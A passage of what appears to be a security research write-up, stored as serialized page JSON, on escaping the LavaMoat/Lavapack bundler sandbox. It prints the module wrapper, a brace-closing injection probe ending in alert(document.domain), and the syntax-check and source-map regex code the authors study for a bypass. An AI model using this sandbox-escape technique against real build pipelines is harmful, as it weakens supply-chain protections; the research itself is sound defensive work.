moduleWrapperSource\n",{"type":23,"tag":504,"props":50025,"children":50026},{"class":5016,"line":4876},[50027,50031,50035,50040],{"type":23,"tag":504,"props":50028,"children":50029},{"style":5067},[50030],{"type":29,"value":33449},{"type":23,"tag":504,"props":50032,"children":50033},{"style":5058},[50034],{"type":29,"value":5110},{"type":23,"tag":504,"props":50036,"children":50037},{"style":5041},[50038],{"type":29,"value":50039},"bundleWithPrecompiledModules",{"type":23,"tag":504,"props":50041,"children":50042},{"style":5058},[50043],{"type":29,"value":16850},{"type":23,"tag":504,"props":50045,"children":50046},{"class":5016,"line":5099},[50047,50052,50056],{"type":23,"tag":504,"props":50048,"children":50049},{"style":5041},[50050],{"type":29,"value":50051},"    moduleWrapperSource",{"type":23,"tag":504,"props":50053,"children":50054},{"style":5047},[50055],{"type":29,"value":5050},{"type":23,"tag":504,"props":50057,"children":50058},{"style":6297},[50059],{"type":29,"value":50060}," `function(){\n",{"type":23,"tag":504,"props":50062,"children":50063},{"class":5016,"line":5203},[50064],{"type":23,"tag":504,"props":50065,"children":50066},{"style":6297},[50067],{"type":29,"value":50068},"      with (this.scopeTerminator) {\n",{"type":23,"tag":504,"props":50070,"children":50071},{"class":5016,"line":5308},[50072],{"type":23,"tag":504,"props":50073,"children":50074},{"style":6297},[50075],{"type":29,"value":50076},"        with (this.globalThis) {\n",{"type":23,"tag":504,"props":50078,"children":50079},{"class":5016,"line":5336},[50080],{"type":23,"tag":504,"props":50081,"children":50082},{"style":6297},[50083],{"type":29,"value":50084},"          return function() {\n",{"type":23,"tag":504,"props":50086,"children":50087},{"class":5016,"line":5349},[50088],{"type":23,"tag":504,"props":50089,"children":50090},{"style":6297},[50091],{"type":29,"value":50092},"            'use strict';\n",{"type":23,"tag":504,"props":50094,"children":50095},{"class":5016,"line":5367},[50096,50101,50105,50110],{"type":23,"tag":504,"props":50097,"children":50098},{"style":6297},[50099],{"type":29,"value":50100},"            // source: ",{"type":23,"tag":504,"props":50102,"children":50103},{"style":5030},[50104],{"type":29,"value":36164},{"type":23,"tag":504,"props":50106,"children":50107},{"style":5041},[50108],{"type":29,"value":50109},"filename",{"type":23,"tag":504,"props":50111,"children":50112},{"style":5030},[50113],{"type":29,"value":5965},{"type":23,"tag":504,"props":50115,"children":50116},{"class":5016,"line":5388},[50117],{"type":23,"tag":504,"props":50118,"children":50119},{"style":6297},[50120],{"type":29,"value":50121},"            return function (require, module, exports) {\n",{"type":23,"tag":504,"props":50123,"children":50124},{"class":5016,"line":5397},[50125],{"type":23,"tag":504,"props":50126,"children":50127},{"style":6297},[50128],{"type":29,"value":50129},"              __MODULE_CONTENT__\n",{"type":23,"tag":504,"props":50131,"children":50132},{"class":5016,"line":5649},[50133],{"type":23,"tag":504,"props":50134,"children":50135},{"style":6297},[50136],{"type":29,"value":50137},"            };\n",{"type":23,"tag":504,"props":50139,"children":50140},{"class":5016,"line":5666},[50141],{"type":23,"tag":504,"props":50142,"children":50143},{"style":6297},[50144],{"type":29,"value":10747},{"type":23,"tag":504,"props":50146,"children":50147},{"class":5016,"line":5683},[50148],{"type":23,"tag":504,"props":50149,"children":50150},{"style":6297},[50151],{"type":29,"value":5394},{"type":23,"tag":504,"props":50153,"children":50154},{"class":5016,"line":5696},[50155],{"type":23,"tag":504,"props":50156,"children":50157},{"style":6297},[50158],{"type":29,"value":14710},{"type":23,"tag":504,"props":50160,"children":50161},{"class":5016,"line":5705},[50162],{"type":23,"tag":504,"props":50163,"children":50164},{"style":6297},[50165],{"type":29,"value":50166},"    }`\n",{"type":23,"tag":32,"props":50168,"children":50169},{},[50170,50172,50178,50180,50186],{"type":29,"value":50171},"Lavapack uses ",{"type":23,"tag":154,"props":50173,"children":50175},{"className":50174},[],[50176],{"type":29,"value":50177},"with()",{"type":29,"value":50179}," proxies to restrict the objects accessible by the module, and ",{"type":23,"tag":154,"props":50181,"children":50183},{"className":50182},[],[50184],{"type":29,"value":50185},"__MODULE_CONTENT__",{"type":29,"value":50187}," is replaced by the content of a file required by the project being built.",{"type":23,"tag":320,"props":50189,"children":50191},{"id":50190},"injection-not-so-simple",[50192],{"type":29,"value":50193},"Injection? Not So Simple",{"type":23,"tag":32,"props":50195,"children":50196},{},[50197,50199,50204],{"type":29,"value":50198},"We first tried to inject invalid javascript inside a javascript file, and then attempt to escape the ",{"type":23,"tag":154,"props":50200,"children":50202},{"className":50201},[],[50203],{"type":29,"value":14697},{"type":29,"value":50205}," environment:",{"type":23,"tag":4743,"props":50207,"children":50209},{"className":33418,"code":50208,"language":33420,"meta":7,"style":7},"   } // end function 1\n  } // end function 2\n } // end with 1\n} // end with 2\n\nalert(document.domain)\n",[50210],{"type":23,"tag":154,"props":50211,"children":50212},{"__ignoreMap":7},[50213,50226,50238,50250,50262,50269],{"type":23,"tag":504,"props":50214,"children":50215},{"class":5016,"line":5017},[50216,50221],{"type":23,"tag":504,"props":50217,"children":50218},{"style":5058},[50219],{"type":29,"value":50220},"   } ",{"type":23,"tag":504,"props":50222,"children":50223},{"style":5021},[50224],{"type":29,"value":50225},"// end function 1\n",{"type":23,"tag":504,"props":50227,"children":50228},{"class":5016,"line":4868},[50229,50233],{"type":23,"tag":504,"props":50230,"children":50231},{"style":5058},[50232],{"type":29,"value":33523},{"type":23,"tag":504,"props":50234,"children":50235},{"style":5021},[50236],{"type":29,"value":50237},"// end function 2\n",{"type":23,"tag":504,"props":50239,"children":50240},{"class":5016,"line":4876},[50241,50245],{"type":23,"tag":504,"props":50242,"children":50243},{"style":5058},[50244],{"type":29,"value":38259},{"type":23,"tag":504,"props":50246,"children":50247},{"style":5021},[50248],{"type":29,"value":50249},"// end with 1\n",{"type":23,"tag":504,"props":50251,"children":50252},{"class":5016,"line":5099},[50253,50257],{"type":23,"tag":504,"props":50254,"children":50255},{"style":5058},[50256],{"type":29,"value":48936},{"type":23,"tag":504,"props":50258,"children":50259},{"style":5021},[50260],{"type":29,"value":50261},"// end with 2\n",{"type":23,"tag":504,"props":50263,"children":50264},{"class":5016,"line":5203},[50265],{"type":23,"tag":504,"props":50266,"children":50267},{"emptyLinePlaceholder":15},[50268],{"type":29,"value":5734},{"type":23,"tag":504,"props":50270,"children":50271},{"class":5016,"line":5308},[50272,50276,50280,50284,50288,50292],{"type":23,"tag":504,"props":50273,"children":50274},{"style":5139},[50275],{"type":29,"value":34753},{"type":23,"tag":504,"props":50277,"children":50278},{"style":5058},[50279],{"type":29,"value":603},{"type":23,"tag":504,"props":50281,"children":50282},{"style":5041},[50283],{"type":29,"value":34763},{"type":23,"tag":504,"props":50285,"children":50286},{"style":5058},[50287],{"type":29,"value":357},{"type":23,"tag":504,"props":50289,"children":50290},{"style":5041},[50291],{"type":29,"value":34773},{"type":23,"tag":504,"props":50293,"children":50294},{"style":5058},[50295],{"type":29,"value":5200},{"type":23,"tag":32,"props":50297,"children":50298},{},[50299,50301,50307,50309,50316],{"type":29,"value":50300},"However, when we tried to bundle it, a ",{"type":23,"tag":154,"props":50302,"children":50304},{"className":50303},[],[50305],{"type":29,"value":50306},"ParseError",{"type":29,"value":50308}," was thrown. This is because Lavapack is a plugin of ",{"type":23,"tag":68,"props":50310,"children":50313},{"href":50311,"rel":50312},"https://github.com/browserify/browserify",[72],[50314],{"type":29,"value":50315},"browserify",{"type":29,"value":50317},", which has a syntax check before replacing the code.",{"type":23,"tag":32,"props":50319,"children":50320},{},[50321,50323,50329,50331,50337,50339,50345,50347,50352],{"type":29,"value":50322},"Looking deeper into browserify, we find it has a ",{"type":23,"tag":154,"props":50324,"children":50326},{"className":50325},[],[50327],{"type":29,"value":50328},"syntax",{"type":29,"value":50330}," stage on it's pipeline, and uses the ",{"type":23,"tag":154,"props":50332,"children":50334},{"className":50333},[],[50335],{"type":29,"value":50336},"syntax-error",{"type":29,"value":50338}," npm package to validate the syntax of each javascript file content. Since Lavapack replaces the ",{"type":23,"tag":154,"props":50340,"children":50342},{"className":50341},[],[50343],{"type":29,"value":50344},"pack",{"type":29,"value":50346}," stage on browserify pipeline, which comes after the ",{"type":23,"tag":154,"props":50348,"children":50350},{"className":50349},[],[50351],{"type":29,"value":50328},{"type":29,"value":50353},", it was not possible to inject invalid javascript to escape the Lavamoat sandbox.",{"type":23,"tag":32,"props":50355,"children":50356},{},[50357],{"type":23,"tag":199,"props":50358,"children":50361},{"alt":50359,"src":50360},"Pipeline","/posts/supply-chain-attacks-a-new-era/pipeline.png",[],{"type":23,"tag":32,"props":50363,"children":50364},{},[50365,50366,50371,50373,50378],{"type":29,"value":18661},{"type":23,"tag":154,"props":50367,"children":50369},{"className":50368},[],[50370],{"type":29,"value":50336},{"type":29,"value":50372}," package performs a syntax check by using  ",{"type":23,"tag":154,"props":50374,"children":50376},{"className":50375},[],[50377],{"type":29,"value":39605},{"type":29,"value":50379}," with function hoisting:",{"type":23,"tag":4743,"props":50381,"children":50383},{"className":33418,"code":50382,"language":33420,"meta":7,"style":7},"try {\n    eval('throw \"STOP\"; (function () { ' + src + '\\n})()');\n    return;\n}\ncatch (err) {\n    if (err === 'STOP') return undefined;\n    if (err.constructor.name !== 'SyntaxError') return err;\n    return errorInfo(src, file, opts);\n}\n",[50384],{"type":23,"tag":154,"props":50385,"children":50386},{"__ignoreMap":7},[50387,50399,50449,50460,50467,50488,50529,50589,50630],{"type":23,"tag":504,"props":50388,"children":50389},{"class":5016,"line":5017},[50390,50395],{"type":23,"tag":504,"props":50391,"children":50392},{"style":5067},[50393],{"type":29,"value":50394},"try",{"type":23,"tag":504,"props":50396,"children":50397},{"style":5058},[50398],{"type":29,"value":5333},{"type":23,"tag":504,"props":50400,"children":50401},{"class":5016,"line":4868},[50402,50407,50411,50416,50420,50425,50429,50434,50440,50445],{"type":23,"tag":504,"props":50403,"children":50404},{"style":5139},[50405],{"type":29,"value":50406},"    eval",{"type":23,"tag":504,"props":50408,"children":50409},{"style":5058},[50410],{"type":29,"value":603},{"type":23,"tag":504,"props":50412,"children":50413},{"style":6297},[50414],{"type":29,"value":50415},"'throw \"STOP\"; (function () { '",{"type":23,"tag":504,"props":50417,"children":50418},{"style":5047},[50419],{"type":29,"value":10950},{"type":23,"tag":504,"props":50421,"children":50422},{"style":5041},[50423],{"type":29,"value":50424}," src",{"type":23,"tag":504,"props":50426,"children":50427},{"style":5047},[50428],{"type":29,"value":10950},{"type":23,"tag":504,"props":50430,"children":50431},{"style":6297},[50432],{"type":29,"value":50433}," '",{"type":23,"tag":504,"props":50435,"children":50437},{"style":50436},"--shiki-default:#D7BA7D",[50438],{"type":29,"value":50439},"\\n",{"type":23,"tag":504,"props":50441,"children":50442},{"style":6297},[50443],{"type":29,"value":50444},"})()'",{"type":23,"tag":504,"props":50446,"children":50447},{"style":5058},[50448],{"type":29,"value":5888},{"type":23,"tag":504,"props":50450,"children":50451},{"class":5016,"line":4876},[50452,50456],{"type":23,"tag":504,"props":50453,"children":50454},{"style":5067},[50455],{"type":29,"value":19037},{"type":23,"tag":504,"props":50457,"children":50458},{"style":5058},[50459],{"type":29,"value":5061},{"type":23,"tag":504,"props":50461,"children":50462},{"class":5016,"line":5099},[50463],{"type":23,"tag":504,"props":50464,"children":50465},{"style":5058},[50466],{"type":29,"value":5965},{"type":23,"tag":504,"props":50468,"children":50469},{"class":5016,"line":5203},[50470,50475,50479,50484],{"type":23,"tag":504,"props":50471,"children":50472},{"style":5067},[50473],{"type":29,"value":50474},"catch",{"type":23,"tag":504,"props":50476,"children":50477},{"style":5058},[50478],{"type":29,"value":5110},{"type":23,"tag":504,"props":50480,"children":50481},{"style":5041},[50482],{"type":29,"value":50483},"err",{"type":23,"tag":504,"props":50485,"children":50486},{"style":5058},[50487],{"type":29,"value":16850},{"type":23,"tag":504,"props":50489,"children":50490},{"class":5016,"line":5308},[50491,50495,50499,50503,50507,50512,50516,50521,50525],{"type":23,"tag":504,"props":50492,"children":50493},{"style":5067},[50494],{"type":29,"value":14325},{"type":23,"tag":504,"props":50496,"children":50497},{"style":5058},[50498],{"type":29,"value":5110},{"type":23,"tag":504,"props":50500,"children":50501},{"style":5041},[50502],{"type":29,"value":50483},{"type":23,"tag":504,"props":50504,"children":50505},{"style":5047},[50506],{"type":29,"value":33477},{"type":23,"tag":504,"props":50508,"children":50509},{"style":6297},[50510],{"type":29,"value":50511}," 'STOP'",{"type":23,"tag":504,"props":50513,"children":50514},{"style":5058},[50515],{"type":29,"value":5128},{"type":23,"tag":504,"props":50517,"children":50518},{"style":5067},[50519],{"type":29,"value":50520},"return",{"type":23,"tag":504,"props":50522,"children":50523},{"style":5030},[50524],{"type":29,"value":41394},{"type":23,"tag":504,"props":50526,"children":50527},{"style":5058},[50528],{"type":29,"value":5061},{"type":23,"tag":504,"props":50530,"children":50531},{"class":5016,"line":5336},[50532,50536,50540,50544,50548,50553,50557,50562,50567,50572,50576,50580,50585],{"type":23,"tag":504,"props":50533,"children":50534},{"style":5067},[50535],{"type":29,"value":14325},{"type":23,"tag":504,"props":50537,"children":50538},{"style":5058},[50539],{"type":29,"value":5110},{"type":23,"tag":504,"props":50541,"children":50542},{"style":5041},[50543],{"type":29,"value":50483},{"type":23,"tag":504,"props":50545,"children":50546},{"style":5058},[50547],{"type":29,"value":357},{"type":23,"tag":504,"props":50549,"children":50550},{"style":5041},[50551],{"type":29,"value":50552},"constructor",{"type":23,"tag":504,"props":50554,"children":50555},{"style":5058},[50556],{"type":29,"value":357},{"type":23,"tag":504,"props":50558,"children":50559},{"style":5041},[50560],{"type":29,"value":50561},"name",{"type":23,"tag":504,"props":50563,"children":50564},{"style":5047},[50565],{"type":29,"value":50566}," !==",{"type":23,"tag":504,"props":50568,"children":50569},{"style":6297},[50570],{"type":29,"value":50571}," 'SyntaxError'",{"type":23,"tag":504,"props":50573,"children":50574},{"style":5058},[50575],{"type":29,"value":5128},{"type":23,"tag":504,"props":50577,"children":50578},{"style":5067},[50579],{"type":29,"value":50520},{"type":23,"tag":504,"props":50581,"children":50582},{"style":5041},[50583],{"type":29,"value":50584}," err",{"type":23,"tag":504,"props":50586,"children":50587},{"style":5058},[50588],{"type":29,"value":5061},{"type":23,"tag":504,"props":50590,"children":50591},{"class":5016,"line":5349},[50592,50596,50601,50605,50609,50613,50617,50621,50626],{"type":23,"tag":504,"props":50593,"children":50594},{"style":5067},[50595],{"type":29,"value":19037},{"type":23,"tag":504,"props":50597,"children":50598},{"style":5139},[50599],{"type":29,"value":50600}," errorInfo",{"type":23,"tag":504,"props":50602,"children":50603},{"style":5058},[50604],{"type":29,"value":603},{"type":23,"tag":504,"props":50606,"children":50607},{"style":5041},[50608],{"type":29,"value":34725},{"type":23,"tag":504,"props":50610,"children":50611},{"style":5058},[50612],{"type":29,"value":4367},{"type":23,"tag":504,"props":50614,"children":50615},{"style":5041},[50616],{"type":29,"value":50007},{"type":23,"tag":504,"props":50618,"children":50619},{"style":5058},[50620],{"type":29,"value":4367},{"type":23,"tag":504,"props":50622,"children":50623},{"style":5041},[50624],{"type":29,"value":50625},"opts",{"type":23,"tag":504,"props":50627,"children":50628},{"style":5058},[50629],{"type":29,"value":5888},{"type":23,"tag":504,"props":50631,"children":50632},{"class":5016,"line":5367},[50633],{"type":23,"tag":504,"props":50634,"children":50635},{"style":5058},[50636],{"type":29,"value":5965},{"type":23,"tag":32,"props":50638,"children":50639},{},[50640,50642,50646,50648,50654,50656,50661],{"type":29,"value":50641},"Interestingly, it ",{"type":23,"tag":4321,"props":50643,"children":50644},{},[50645],{"type":29,"value":6040},{"type":29,"value":50647}," possible to inject a ",{"type":23,"tag":154,"props":50649,"children":50651},{"className":50650},[],[50652],{"type":29,"value":50653},"}); (() => {",{"type":29,"value":50655}," inside source, and will not throw a syntax error. Unfortunately, this is not enough to bypass the ",{"type":23,"tag":154,"props":50657,"children":50659},{"className":50658},[],[50660],{"type":29,"value":50177},{"type":29,"value":50662}," sandbox of Lavapack.",{"type":23,"tag":320,"props":50664,"children":50666},{"id":50665},"sourcemap-the-syntax-killer",[50667],{"type":29,"value":50668},"SourceMap: The Syntax Killer",{"type":23,"tag":32,"props":50670,"children":50671},{},[50672,50674,50681],{"type":29,"value":50673},"Lavapack has a feature to extract source maps files from the code using ",{"type":23,"tag":68,"props":50675,"children":50678},{"href":50676,"rel":50677},"https://www.npmjs.com/package/convert-source-map",[72],[50679],{"type":29,"value":50680},"convert-source-map",{"type":29,"value":50682}," npm package:",{"type":23,"tag":4743,"props":50684,"children":50686},{"className":33418,"code":50685,"language":33420,"meta":7,"style":7},"function extractSourceMaps(sourceCode) {\n  const converter = convertSourceMap.fromSource(sourceCode)\n  // if (!converter) throw new Error('Unable to find original inlined sourcemap')\n  const maps = converter && converter.toObject()\n  const code = convertSourceMap.removeComments(sourceCode)\n  return { code, maps }\n}\n",[50687],{"type":23,"tag":154,"props":50688,"children":50689},{"__ignoreMap":7},[50690,50714,50756,50764,50805,50846,50874],{"type":23,"tag":504,"props":50691,"children":50692},{"class":5016,"line":5017},[50693,50697,50702,50706,50710],{"type":23,"tag":504,"props":50694,"children":50695},{"style":5030},[50696],{"type":29,"value":33432},{"type":23,"tag":504,"props":50698,"children":50699},{"style":5139},[50700],{"type":29,"value":50701}," extractSourceMaps",{"type":23,"tag":504,"props":50703,"children":50704},{"style":5058},[50705],{"type":29,"value":603},{"type":23,"tag":504,"props":50707,"children":50708},{"style":5041},[50709],{"type":29,"value":40070},{"type":23,"tag":504,"props":50711,"children":50712},{"style":5058},[50713],{"type":29,"value":16850},{"type":23,"tag":504,"props":50715,"children":50716},{"class":5016,"line":4868},[50717,50721,50726,50730,50735,50739,50744,50748,50752],{"type":23,"tag":504,"props":50718,"children":50719},{"style":5030},[50720],{"type":29,"value":38245},{"type":23,"tag":504,"props":50722,"children":50723},{"style":5041},[50724],{"type":29,"value":50725}," converter",{"type":23,"tag":504,"props":50727,"children":50728},{"style":5047},[50729],{"type":29,"value":5050},{"type":23,"tag":504,"props":50731,"children":50732},{"style":5041},[50733],{"type":29,"value":50734}," convertSourceMap",{"type":23,"tag":504,"props":50736,"children":50737},{"style":5058},[50738],{"type":29,"value":357},{"type":23,"tag":504,"props":50740,"children":50741},{"style":5139},[50742],{"type":29,"value":50743},"fromSource",{"type":23,"tag":504,"props":50745,"children":50746},{"style":5058},[50747],{"type":29,"value":603},{"type":23,"tag":504,"props":50749,"children":50750},{"style":5041},[50751],{"type":29,"value":40070},{"type":23,"tag":504,"props":50753,"children":50754},{"style":5058},[50755],{"type":29,"value":5200},{"type":23,"tag":504,"props":50757,"children":50758},{"class":5016,"line":4876},[50759],{"type":23,"tag":504,"props":50760,"children":50761},{"style":5021},[50762],{"type":29,"value":50763},"  // if (!converter) throw new Error('Unable to find original inlined sourcemap')\n",{"type":23,"tag":504,"props":50765,"children":50766},{"class":5016,"line":5099},[50767,50771,50776,50780,50784,50788,50792,50796,50801],{"type":23,"tag":504,"props":50768,"children":50769},{"style":5030},[50770],{"type":29,"value":38245},{"type":23,"tag":504,"props":50772,"children":50773},{"style":5041},[50774],{"type":29,"value":50775}," maps",{"type":23,"tag":504,"props":50777,"children":50778},{"style":5047},[50779],{"type":29,"value":5050},{"type":23,"tag":504,"props":50781,"children":50782},{"style":5041},[50783],{"type":29,"value":50725},{"type":23,"tag":504,"props":50785,"children":50786},{"style":5047},[50787],{"type":29,"value":16231},{"type":23,"tag":504,"props":50789,"children":50790},{"style":5041},[50791],{"type":29,"value":50725},{"type":23,"tag":504,"props":50793,"children":50794},{"style":5058},[50795],{"type":29,"value":357},{"type":23,"tag":504,"props":50797,"children":50798},{"style":5139},[50799],{"type":29,"value":50800},"toObject",{"type":23,"tag":504,"props":50802,"children":50803},{"style":5058},[50804],{"type":29,"value":9780},{"type":23,"tag":504,"props":50806,"children":50807},{"class":5016,"line":5203},[50808,50812,50817,50821,50825,50829,50834,50838,50842],{"type":23,"tag":504,"props":50809,"children":50810},{"style":5030},[50811],{"type":29,"value":38245},{"type":23,"tag":504,"props":50813,"children":50814},{"style":5041},[50815],{"type":29,"value":50816}," code",{"type":23,"tag":504,"props":50818,"children":50819},{"style":5047},[50820],{"type":29,"value":5050},{"type":23,"tag":504,"props":50822,"children":50823},{"style":5041},[50824],{"type":29,"value":50734},{"type":23,"tag":504,"props":50826,"children":50827},{"style":5058},[50828],{"type":29,"value":357},{"type":23,"tag":504,"props":50830,"children":50831},{"style":5139},[50832],{"type":29,"value":50833},"removeComments",{"type":23,"tag":504,"props":50835,"children":50836},{"style":5058},[50837],{"type":29,"value":603},{"type":23,"tag":504,"props":50839,"children":50840},{"style":5041},[50841],{"type":29,"value":40070},{"type":23,"tag":504,"props":50843,"children":50844},{"style":5058},[50845],{"type":29,"value":5200},{"type":23,"tag":504,"props":50847,"children":50848},{"class":5016,"line":5308},[50849,50853,50857,50861,50865,50870],{"type":23,"tag":504,"props":50850,"children":50851},{"style":5067},[50852],{"type":29,"value":41255},{"type":23,"tag":504,"props":50854,"children":50855},{"style":5058},[50856],{"type":29,"value":11633},{"type":23,"tag":504,"props":50858,"children":50859},{"style":5041},[50860],{"type":29,"value":154},{"type":23,"tag":504,"props":50862,"children":50863},{"style":5058},[50864],{"type":29,"value":4367},{"type":23,"tag":504,"props":50866,"children":50867},{"style":5041},[50868],{"type":29,"value":50869},"maps",{"type":23,"tag":504,"props":50871,"children":50872},{"style":5058},[50873],{"type":29,"value":11642},{"type":23,"tag":504,"props":50875,"children":50876},{"class":5016,"line":5336},[50877],{"type":23,"tag":504,"props":50878,"children":50879},{"style":5058},[50880],{"type":29,"value":5965},{"type":23,"tag":32,"props":50882,"children":50883},{},[50884,50886,50891,50893,50898],{"type":29,"value":50885},"This code removes the source map comments of the source code, meaning that there actually is a modification of source code in Lavapack after the ",{"type":23,"tag":154,"props":50887,"children":50889},{"className":50888},[],[50890],{"type":29,"value":50328},{"type":29,"value":50892}," stage. Reviewing the ",{"type":23,"tag":154,"props":50894,"children":50896},{"className":50895},[],[50897],{"type":29,"value":50680},{"type":29,"value":50899}," code, we can see exactly how this happens.",{"type":23,"tag":4743,"props":50901,"children":50903},{"className":33418,"code":50902,"language":33420,"meta":7,"style":7},"Object.defineProperty(exports, 'commentRegex', {\n  get: function getCommentRegex () {\n    // Groups: 1: media type, 2: MIME type, 3: charset, 4: encoding, 5: data.\n    return /^\\s*?\\/[\\/\\*][@#]\\s+?sourceMappingURL=data:(((?:application|text)\\/json)(?:;charset=([^;,]+?)?)?)?(?:;(base64))?,(.*?)$/mg;\n  }\n});\n\nexports.removeComments = function (src) {\n  return src.replace(exports.commentRegex, '');\n};\n",[50904],{"type":23,"tag":154,"props":50905,"children":50906},{"__ignoreMap":7},[50907,50946,50972,50980,51194,51201,51208,51215,51250,51300],{"type":23,"tag":504,"props":50908,"children":50909},{"class":5016,"line":5017},[50910,50915,50919,50924,50928,50932,50936,50941],{"type":23,"tag":504,"props":50911,"children":50912},{"style":5041},[50913],{"type":29,"value":50914},"Object",{"type":23,"tag":504,"props":50916,"children":50917},{"style":5058},[50918],{"type":29,"value":357},{"type":23,"tag":504,"props":50920,"children":50921},{"style":5139},[50922],{"type":29,"value":50923},"defineProperty",{"type":23,"tag":504,"props":50925,"children":50926},{"style":5058},[50927],{"type":29,"value":603},{"type":23,"tag":504,"props":50929,"children":50930},{"style":5467},[50931],{"type":29,"value":39942},{"type":23,"tag":504,"props":50933,"children":50934},{"style":5058},[50935],{"type":29,"value":4367},{"type":23,"tag":504,"props":50937,"children":50938},{"style":6297},[50939],{"type":29,"value":50940},"'commentRegex'",{"type":23,"tag":504,"props":50942,"children":50943},{"style":5058},[50944],{"type":29,"value":50945},", {\n",{"type":23,"tag":504,"props":50947,"children":50948},{"class":5016,"line":4868},[50949,50954,50958,50962,50967],{"type":23,"tag":504,"props":50950,"children":50951},{"style":5139},[50952],{"type":29,"value":50953},"  get",{"type":23,"tag":504,"props":50955,"children":50956},{"style":5041},[50957],{"type":29,"value":6533},{"type":23,"tag":504,"props":50959,"children":50960},{"style":5030},[50961],{"type":29,"value":40270},{"type":23,"tag":504,"props":50963,"children":50964},{"style":5139},[50965],{"type":29,"value":50966}," getCommentRegex",{"type":23,"tag":504,"props":50968,"children":50969},{"style":5058},[50970],{"type":29,"value":50971}," () {\n",{"type":23,"tag":504,"props":50973,"children":50974},{"class":5016,"line":4876},[50975],{"type":23,"tag":504,"props":50976,"children":50977},{"style":5021},[50978],{"type":29,"value":50979},"    // Groups: 1: media type, 2: MIME type, 3: charset, 4: encoding, 5: data.\n",{"type":23,"tag":504,"props":50981,"children":50982},{"class":5016,"line":5099},[50983,50987,50993,50998,51003,51008,51012,51017,51022,51027,51031,51035,51040,51045,51050,51055,51059,51063,51067,51072,51076,51081,51086,51091,51096,51100,51104,51108,51112,51116,51120,51124,51128,51133,51138,51142,51147,51152,51156,51160,51164,51168,51173,51177,51181,51185,51190],{"type":23,"tag":504,"props":50984,"children":50985},{"style":5067},[50986],{"type":29,"value":19037},{"type":23,"tag":504,"props":50988,"children":50990},{"style":50989},"--shiki-default:#D16969",[50991],{"type":29,"value":50992}," /",{"type":23,"tag":504,"props":50994,"children":50995},{"style":5139},[50996],{"type":29,"value":50997},"^",{"type":23,"tag":504,"props":50999,"children":51000},{"style":50989},[51001],{"type":29,"value":51002},"\\s",{"type":23,"tag":504,"props":51004,"children":51005},{"style":50436},[51006],{"type":29,"value":51007},"*?\\/",{"type":23,"tag":504,"props":51009,"children":51010},{"style":6297},[51011],{"type":29,"value":1380},{"type":23,"tag":504,"props":51013,"children":51014},{"style":50436},[51015],{"type":29,"value":51016},"\\/\\*",{"type":23,"tag":504,"props":51018,"children":51019},{"style":6297},[51020],{"type":29,"value":51021},"][",{"type":23,"tag":504,"props":51023,"children":51024},{"style":50989},[51025],{"type":29,"value":51026},"@#",{"type":23,"tag":504,"props":51028,"children":51029},{"style":6297},[51030],{"type":29,"value":1422},{"type":23,"tag":504,"props":51032,"children":51033},{"style":50989},[51034],{"type":29,"value":51002},{"type":23,"tag":504,"props":51036,"children":51037},{"style":50436},[51038],{"type":29,"value":51039},"+?",{"type":23,"tag":504,"props":51041,"children":51042},{"style":50989},[51043],{"type":29,"value":51044},"sourceMappingURL=data:",{"type":23,"tag":504,"props":51046,"children":51047},{"style":6297},[51048],{"type":29,"value":51049},"(((?:",{"type":23,"tag":504,"props":51051,"children":51052},{"style":50989},[51053],{"type":29,"value":51054},"application",{"type":23,"tag":504,"props":51056,"children":51057},{"style":5139},[51058],{"type":29,"value":12462},{"type":23,"tag":504,"props":51060,"children":51061},{"style":50989},[51062],{"type":29,"value":29},{"type":23,"tag":504,"props":51064,"children":51065},{"style":6297},[51066],{"type":29,"value":933},{"type":23,"tag":504,"props":51068,"children":51069},{"style":50436},[51070],{"type":29,"value":51071},"\\/",{"type":23,"tag":504,"props":51073,"children":51074},{"style":50989},[51075],{"type":29,"value":36053},{"type":23,"tag":504,"props":51077,"children":51078},{"style":6297},[51079],{"type":29,"value":51080},")(?:",{"type":23,"tag":504,"props":51082,"children":51083},{"style":50989},[51084],{"type":29,"value":51085},";charset=",{"type":23,"tag":504,"props":51087,"children":51088},{"style":6297},[51089],{"type":29,"value":51090},"([^",{"type":23,"tag":504,"props":51092,"children":51093},{"style":50989},[51094],{"type":29,"value":51095},";,",{"type":23,"tag":504,"props":51097,"children":51098},{"style":6297},[51099],{"type":29,"value":1422},{"type":23,"tag":504,"props":51101,"children":51102},{"style":50436},[51103],{"type":29,"value":51039},{"type":23,"tag":504,"props":51105,"children":51106},{"style":6297},[51107],{"type":29,"value":933},{"type":23,"tag":504,"props":51109,"children":51110},{"style":50436},[51111],{"type":29,"value":5195},{"type":23,"tag":504,"props":51113,"children":51114},{"style":6297},[51115],{"type":29,"value":933},{"type":23,"tag":504,"props":51117,"children":51118},{"style":50436},[51119],{"type":29,"value":5195},{"type":23,"tag":504,"props":51121,"children":51122},{"style":6297},[51123],{"type":29,"value":933},{"type":23,"tag":504,"props":51125,"children":51126},{"style":50436},[51127],{"type":29,"value":5195},{"type":23,"tag":504,"props":51129,"children":51130},{"style":6297},[51131],{"type":29,"value":51132},"(?:",{"type":23,"tag":504,"props":51134,"children":51135},{"style":50989},[51136],{"type":29,"value":51137},";",{"type":23,"tag":504,"props":51139,"children":51140},{"style":6297},[51141],{"type":29,"value":603},{"type":23,"tag":504,"props":51143,"children":51144},{"style":50989},[51145],{"type":29,"value":51146},"base64",{"type":23,"tag":504,"props":51148,"children":51149},{"style":6297},[51150],{"type":29,"value":51151},"))",{"type":23,"tag":504,"props":51153,"children":51154},{"style":50436},[51155],{"type":29,"value":5195},{"type":23,"tag":504,"props":51157,"children":51158},{"style":50989},[51159],{"type":29,"value":2270},{"type":23,"tag":504,"props":51161,"children":51162},{"style":6297},[51163],{"type":29,"value":603},{"type":23,"tag":504,"props":51165,"children":51166},{"style":50989},[51167],{"type":29,"value":357},{"type":23,"tag":504,"props":51169,"children":51170},{"style":50436},[51171],{"type":29,"value":51172},"*?",{"type":23,"tag":504,"props":51174,"children":51175},{"style":6297},[51176],{"type":29,"value":933},{"type":23,"tag":504,"props":51178,"children":51179},{"style":5139},[51180],{"type":29,"value":12334},{"type":23,"tag":504,"props":51182,"children":51183},{"style":50989},[51184],{"type":29,"value":6623},{"type":23,"tag":504,"props":51186,"children":51187},{"style":5030},[51188],{"type":29,"value":51189},"mg",{"type":23,"tag":504,"props":51191,"children":51192},{"style":5058},[51193],{"type":29,"value":5061},{"type":23,"tag":504,"props":51195,"children":51196},{"class":5016,"line":5203},[51197],{"type":23,"tag":504,"props":51198,"children":51199},{"style":5058},[51200],{"type":29,"value":7917},{"type":23,"tag":504,"props":51202,"children":51203},{"class":5016,"line":5308},[51204],{"type":23,"tag":504,"props":51205,"children":51206},{"style":5058},[51207],{"type":